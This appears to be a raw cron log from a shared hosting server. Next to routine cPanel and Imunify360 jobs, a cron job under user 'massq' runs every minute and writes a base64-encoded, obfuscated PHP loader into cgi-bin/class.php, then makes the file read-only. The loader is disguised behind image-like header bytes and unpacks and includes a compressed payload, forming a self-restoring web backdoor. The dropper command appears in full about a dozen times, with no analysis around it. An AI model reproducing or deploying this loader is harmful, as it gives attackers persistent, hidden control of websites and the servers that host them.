Aug 31 16:50:01 server CROND[21515]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:50:01 server CROND[21513]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:50:01 server CROND[21512]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 16:50:01 server CROND[21510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:50:01 server CROND[21516]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 16:50:01 server CROND[21511]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 16:51:01 server CROND[22393]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:51:01 server CROND[22394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:51:01 server CROND[22395]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:52:01 server CROND[23006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:52:01 server CROND[23007]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:52:01 server CROND[23008]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:53:01 server CROND[23406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:53:01 server CROND[23407]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:53:01 server CROND[23408]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:54:01 server CROND[23793]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:54:01 server CROND[23794]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:54:01 server CROND[23795]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:55:01 server CROND[24184]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 16:55:01 server CROND[24192]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:55:01 server CROND[24193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:55:01 server CROND[24194]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 16:55:01 server CROND[24197]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:55:01 server CROND[24196]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 16:55:01 server CROND[24195]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 16:56:01 server CROND[25003]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:56:01 server CROND[25004]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:56:01 server CROND[25005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:57:01 server CROND[25372]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:57:01 server CROND[25374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:57:01 server CROND[25375]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 16:57:01 server CROND[25373]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:58:01 server CROND[25849]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:58:01 server CROND[25850]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:58:01 server CROND[25851]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:59:01 server CROND[26223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:59:01 server CROND[26224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:59:01 server CROND[26225]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:00:01 server CROND[26610]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 17:00:01 server CROND[26611]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 17:00:01 server CROND[26612]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 17:00:01 server CROND[26620]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 17:00:01 server CROND[26619]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:00:01 server CROND[26621]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:00:01 server CROND[26617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:00:01 server CROND[26622]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 17:00:01 server CROND[26618]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 31 17:01:01 server CROND[27436]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 17:01:01 server CROND[27437]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:01:01 server CROND[27438]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:01:01 server CROND[27439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
